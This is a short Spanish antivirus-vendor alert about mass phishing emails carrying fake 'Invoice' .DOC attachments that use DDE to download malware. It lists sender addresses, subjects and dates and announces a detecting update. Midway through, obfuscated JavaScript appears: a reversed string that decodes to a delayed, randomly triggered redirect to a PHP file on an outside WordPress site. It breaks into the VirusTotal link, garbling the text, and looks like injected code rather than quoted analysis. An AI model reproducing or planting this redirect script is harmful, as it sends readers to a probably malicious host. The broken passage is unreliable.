SE ESTAN RECIBIDO MASIVAMENTE MAILS PARECIDOS ANEXANDO FICHERO DOC DE FALSA FACTURA INVOICE …)

Ofrecemos extracto de varios mails recibidos hoy anexando fichero “Invoice… .DOC”, que utilizan el sistema del DDE para descargar malware.

Se ofrece varios de ellos, con el preanalisis de viristotal del fichero anexado:

Asunto: Invoice 824449851 10.31.2017
De: Invoicing <Invoicing@jurisprudence.com.au>
Fecha: 30/10/2017 20:52
Para: <destinatario>

anexado: Invoice 824449851 10.31.2017.doc
_______________

to: Invoice 513760069 10.31.2017
De: Invoicing <Invoicing@motisoft.ro>
Fecha: 31/10/2017 4:00
Para: <destinatario>

to: Invoice 723699339 10.30.2017
De: Invoicing <Invoicing@sunrise-openair.ch>
Fecha: 30/10/2017 21:54
Para: <destinatario>

to: Invoice 499044069 10.31.2017
De: Invoicing <Invoicing@vpctv.com.au>
Fecha: 30/10/2017 22:25
Para: <destinatario>

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/42c403e7c6e811938b843c9ec915b1190ab7095b1451416ba5e65ff530d6d787/analysis/1509450452/” target=”_blank” rel=”noopener”> cuyo preanalisis ofrece el presente  informe

Dicha versión 31.77 que lo detecta y elimina, estará disponible en nuestra web a partir del 1.11.2017

saludos

ms, 31-10-2017